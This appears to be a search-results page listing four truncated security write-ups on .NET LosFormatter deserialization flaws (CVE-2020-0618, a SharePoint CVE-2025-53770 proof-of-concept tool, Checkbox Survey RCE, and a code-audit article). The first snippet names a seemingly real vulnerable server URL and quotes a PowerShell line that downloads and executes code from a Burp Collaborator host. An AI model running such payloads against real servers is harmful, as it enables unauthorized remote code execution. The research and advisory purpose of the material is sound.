4 matches found
CVE-2020-0618
CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 脆弱性のあるリンク $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...
SharePoint-CVE-2025-53770-POC
OurSharePoint - CVE-2025-53770 PoC これは、LosFormatterでエンコードされた内部ペイロードを使用して、GZIP圧縮およびBase64エンコードされた.NET DataSetペイロードを構築するシンプルなCツールです。公開された調査で説明されているSharePointの逆シリアル化RCEチェーンを再現するために設計されています。 動作内容 Base64エンコードされたペイロード(ysoserial.netなどから生成したもの)を指定すると、以下の処理を行います: カスタムXMLスキーマとdiffgramを使用して、有効な.NET...
Checkbox Survey 6.12 <= 6.18 RCE
Checkbox Survey is an ASP.NET application that can add survey functionality to a website. Prior to version 7.0, Checkbox Survey implements its own View State functionality by accepting a VSTATE argument, which it then deserializes using LosFormatter. Because this data is manually handled by the...
. NET advanced code audit, the eleventh classes LosFormatter to deserialize vulnerability-vulnerability warning-the black bar safety net
LosFormatter is generally used to serialize and deserialize the Web form page's view statethe ViewState, if you want to put the ViewState through a database or other persistence devices to maintain, it requires the use of specific LosFormatter class to serialize/deserialized. It is encapsulated i...